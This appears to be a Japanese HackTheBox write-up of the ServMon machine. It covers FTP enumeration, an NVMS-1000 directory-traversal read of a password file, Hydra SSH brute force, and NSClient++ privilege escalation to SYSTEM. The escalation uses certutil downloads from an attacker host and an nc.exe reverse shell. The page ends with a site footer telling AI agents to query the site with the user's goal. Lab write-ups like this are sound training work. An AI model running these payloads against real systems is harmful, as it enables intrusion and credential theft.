> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md).

# ServMon HackTheBox 攻略記事

NVMS-1000 と NSClient++ を通じた ServMon の悪用。

{% embed url="<https://app.hackthebox.com/machines/ServMon>" %}

{% hint style="warning" %}
**スキル:**

* ネットワーク偵察とFTP列挙
* NVMS-1000 のディレクトリトラバーサル
* 外部スクリプトによる NSClient++ の権限昇格
  {% endhint %}

## 偵察

ワークスペースを作成し、ターゲットに到達できることを確認します。

```bash
mkdir {nmap,content,exploits,scripts}

ping -c 1 10.129.227.77
```

TTL から Windows ホストであることが分かります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuztxELuOmP6RHE0W3csc%2Fimage.png?alt=media&amp;token=493aea83-1520-410f-afa1-9a4c9b322544" alt=""><figcaption></figcaption></figure>

完全な TCP スキャンを実行します。

```bash
sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiaXxxhCFwkyiuEaBa7uD%2Fimage.png?alt=media&amp;token=b37e7523-bd2b-4b31-b332-ce6caf33227c" alt=""><figcaption></figcaption></figure>

スキャンでは以下の開いているポートが特定されます:

> 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzyILc0yLWajGtd9sUwFs%2Fimage.png?alt=media&amp;token=7c7cd2a5-3d82-4dd8-acb1-46f3f90c9306" alt=""><figcaption></figcaption></figure>

公開されているサービスとバージョンを特定します。

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted
```

{% endcode %}

関連する発見は以下のとおりです:

{% code overflow="wrap" %}

```java
# Nmap 7.93 scan initiated Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77
10.129.227.77 の Nmap スキャン結果
ホストは稼働中です (レイテンシ 0.030 秒)。

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: 匿名 FTP ログインが許可されています (FTP コード 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp    open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c71af681ca1778d027dbcd462a092b54 (RSA)
|   256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA)
|_  256 5a48c8cd39782129effbae821d03adaf (ED25519)
80/tcp    open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: サイトにはタイトルがありません (text/html)。
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
| http-title: NSClient++
|_Requested resource was /index.html
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
データを返しているにもかかわらず 2 つのサービスは認識されませんでした。サービス/バージョンが分かる場合は、以下のフィンガープリントを https://nmap.org/cgi-bin/submit.cgi?new-service に送信してください:
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03
SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length
SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/
SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%
SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu
SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len
SF:gth:\x2018\r\n\r\nDocument\x20not\x20found");
サービス情報: OS: Windows; CPE: cpe:/o:microsoft:windows

ホストスクリプトの結果:
| smb2-security-mode: 
|   311: 
|_    メッセージ署名は有効ですが必須ではありません
| smb2-time: 
|   date: 2026-09-23T08:52:06
|_  start_date: N/A

サービス検出を実行しました。誤った結果があれば https://nmap.org/submit/ で報告してください。
# Nmap done at Wed Sep 23 10:52:19 2026 -- 1 IP address (1 host up) scanned in 128.03 seconds

```

{% endcode %}

### FTP列挙

匿名 FTP アクセスが有効です。

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.227.77
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBRENYqqDVOGjDtL9i53l%2Fimage.png?alt=media&amp;token=64c0b941-2b75-4015-868d-12738ea06557" alt=""><figcaption></figcaption></figure>

その `Users/Nadine` ディレクトリには Nathan 宛てのメモがあります。

{% code overflow="wrap" %}

```bash
Nathan、

Passwords.txt ファイルをデスクトップに置いておきました。編集が終わったらこれを削除し、元の場所である安全なフォルダーに戻してください。

敬具

Nadine
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLXE4C2ZETrBMjAA3Evej%2Fimage.png?alt=media&amp;token=cb94c19b-90d4-45a5-8ec6-5d4c8a74d904" alt=""><figcaption></figcaption></figure>

Nathan のディレクトリには次のタスクリストがあります:

{% code overflow="wrap" %}

```bash
1) NVMS のパスワードを変更する - 完了
2) NSClient アクセスを制限する - 完了
3) パスワードをアップロードする
4) NVMS への公開アクセスを削除する
5) 秘密ファイルを SharePoint に配置する
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4AzP567CX8Fy1j36NJ4a%2Fimage.png?alt=media&amp;token=ef7c9298-5a52-4bfc-b1a4-7f1a8e8046a2" alt=""><figcaption></figcaption></figure>

### NVMS-1000 のディレクトリトラバーサル

ポート `80` NVMS-1000 をホストしています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6462GuHClJm98TKRUDaZ%2Fimage.png?alt=media&amp;token=e41e0ff1-7ca0-4b27-bc08-a97c6e61c716" alt=""><figcaption></figcaption></figure>

Searchsploit はディレクトリトラバーサルの脆弱性を特定します。

{% code overflow="wrap" %}

```bash
searchsploit nvms 1000
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgGx30tOQeTkh40ibnmSq%2Fimage.png?alt=media&amp;token=92391b4f-4602-4a5e-b0a3-4bf73961fdb6" alt=""><figcaption></figcaption></figure>

次の概念実証でローカルファイルインクルージョンが確認できます:

{% embed url="<https://github.com/AruN4Sa7/Manual-Exploitation-Development-For-TVT-NVMS-1000-suffers-from-a-directory-traversal-vulnerabilit>" %}

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini
```

{% endcode %}

応答により、任意のローカルファイルが読み取り可能であることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMGuETg3G1dio9K18D2PK%2Fimage.png?alt=media&amp;token=342f3760-19b5-4987-88b4-1deadd1119d8" alt=""><figcaption></figcaption></figure>

Nathan のパスワードファイルを読み取ります:

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt 
```

{% endcode %}

> 1nsp3ctTh3Way2Mars!\
> Th3r34r3To0M4nyTrait0r5!\
> B3WithM30r4ga1n5tMe\
> L1k3B1gBut7s\@W0rk\
> 0nly7h3y0unGWi11F0l10w\
> IfH3s4b0Utg0t0H1sH0me\
> Gr4etN3w5w17hMySk1Pa5$

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FufhlEkDZmxdmBtXJUgej%2Fimage.png?alt=media&amp;token=2f999fec-ef75-4860-812e-4f822fac4557" alt=""><figcaption></figcaption></figure>

回収したパスワードを既知のローカルユーザーに対して試します。

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
<strong>hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
</strong></code></pre>

これにより有効な SSH 認証情報が特定されます:

* nadine
* L1k3B1gBut7s\@W0rk

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkEv3Cr5O4oXfWp8ykiKi%2Fimage.png?alt=media&amp;token=b2d36d35-c2cb-4a9b-a753-01fe7b04b593" alt=""><figcaption></figcaption></figure>

Nadine として SSH 接続します。

{% code overflow="wrap" %}

```bash
ssh nadine@10.129.227.77
```

{% endcode %}

ユーザーフラグを読み取ります。

{% code overflow="wrap" %}

```bash
type C:\Users\Nadine\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft97c5IToPEHDFps98KB0%2Fimage.png?alt=media&amp;token=62c2bc74-cb06-41be-aaa0-0b3128a30552" alt=""><figcaption></figcaption></figure>

## NSClient++ による権限昇格

NSClient++ は次の場所にインストールされています: `C:\Program Files`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7BxWRuJpkhdjgxSl6UZZ%2Fimage.png?alt=media&amp;token=af33c141-ded8-4b45-8df7-e27c36be6f2a" alt=""><figcaption></figcaption></figure>

NSClient++ の Web インターフェースのパスワードを表示します。

{% code overflow="wrap" %}

```bash
nscp web -- password --display
```

{% endcode %}

* ew2x6SsGTxjRwXOT

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEN9iqBDmnepnngEClbMR%2Fimage.png?alt=media&amp;token=91650362-0d14-4a65-b868-0ded2e21b031" alt=""><figcaption></figcaption></figure>

Web インターフェースはポートで待ち受けています: `8443`.

### NSClient++ の外部スクリプトを設定します

この手法は公開されている NSClient++ のエクスプロイト手順に従っています。

{% embed url="<https://www.exploit-db.com/exploits/46802>" %}

インストールされている NSClient++ のバージョンを確認します。

{% code overflow="wrap" %}

```bash
nscp --version
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkiV1M84mNR6YXQRArlZb%2Fimage.png?alt=media&amp;token=7cf4fba8-3579-470c-9393-847dc70e1cfa" alt=""><figcaption></figcaption></figure>

サービスはローカルにバインドされています。SSH トンネル経由でアクセスします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEf99TEkPD0kXopqr1iXh%2Fimage.png?alt=media&amp;token=79d00ca6-82f9-479c-b5f4-4199250a9c79" alt=""><figcaption></figcaption></figure>

ポートフォワーディングを行います

{% code overflow="wrap" %}

```bash
ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77
```

{% endcode %}

開く `https://127.0.0.1:8443` にアクセスし、復元したパスワードで認証します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FT66HFdAZnWr7LfJY0fTT%2Fimage.png?alt=media&amp;token=11655f08-6117-48c1-ba12-061bc8610bfa" alt=""><figcaption></figcaption></figure>

これらのモジュールが有効になっていることを確認してください:

```bash
CheckExternalScripts
Scheduler
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FojqMY5pRFXD4O3vzu8jo%2Fimage.png?alt=media&amp;token=875858f2-56e4-4db0-bd32-584c698f1a45" alt=""><figcaption></figcaption></figure>

転送 `nc.exe` そしてペイロードをターゲットに転送します。

{% code overflow="wrap" %}

```bash
nc.exe を見つける

mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe .
    
python3 -m http.server 8081
```

{% endcode %}

ターゲット上で、両方のファイルをダウンロードします:

{% code overflow="wrap" %}

```bash
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/nc.exe" nc.exe
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/evil.bat" evil.bat
```

{% endcode %}

作成 `evil.bat` ターゲット上で:

{% code overflow="wrap" %}

```bash
@echo off
C:\Users\Nadine\Desktop\nc.exe <ATTACKER_IP> 443 -e cmd.exe
```

{% endcode %}

ポートでリスナーを開始します `443`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 443
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FG2hGBW5tC241SgZbii0R%2Fimage.png?alt=media&amp;token=94a15ed0-4d78-4bf7-a9d3-95de5b6c8ff4" alt=""><figcaption></figcaption></figure>

NSClient++ の Web インターフェースで外部スクリプトを作成します:

{% code overflow="wrap" %}

```bash
設定 > 外部スクリプト > スクリプト
セクション: /settings/external scripts/scripts/evil
キー: command
値: C:\Users\Nadine\Desktop\evil.bat
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Feo5Fg9P404w5m3uCYA6I%2Fimage.png?alt=media&amp;token=2b8ce8d1-8389-4d17-a745-f4b853358c73" alt=""><figcaption></figcaption></figure>

次の下にスケジュールを作成します: **設定 → スケジューラ → スケジュール**.

間隔を設定します:

{% code overflow="wrap" %}

```bash
セクション: /settings/scheduler/schedules/evil
キー: interval
値: 1m
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfSaicrWxdHfiywQanquy%2Fimage.png?alt=media&amp;token=c14be532-14ca-4161-a2bb-f68bb3dae0a4" alt=""><figcaption></figcaption></figure>

スケジュールされたコマンドを設定します:

{% code overflow="wrap" %}

```bash
セクション: /settings/scheduler/schedules/evil
キー: command
値: evil
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmV3EVbROLAVVm8DfP1vA%2Fimage.png?alt=media&amp;token=a13df7db-ab6f-44bd-b43d-512abc55a33d" alt=""><figcaption></figcaption></figure>

設定を保存し、サービスを再起動します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FY4uMHCNiP7fBkoVHCK6D%2Fimage.png?alt=media&amp;token=581d9c21-0d5f-497b-85bf-db5509300837" alt=""><figcaption></figcaption></figure>

クエリを実行してスケジュール済みスクリプトを起動します。リスナーは次のユーザーとしてシェルを受け取ります: `SYSTEM`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCNxXBglNfZjXNA7uUQ90%2Fimage.png?alt=media&amp;token=d563cc8c-a1c6-4749-b253-1ca2155d1d6d" alt=""><figcaption></figcaption></figure>

ルートフラグを読み取ります。

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWj9Z76S4Er0DEXJbYdWa%2Fimage.png?alt=media&amp;token=a854dee1-64b8-410a-b10b-11d79a3f85a5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Ss0vMU9FmNpHZ0Kv8Xt%2Fimage.png?alt=media&amp;token=8c774999-2d45-4bb9-80c3-600e61e18990" alt="" width="316"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
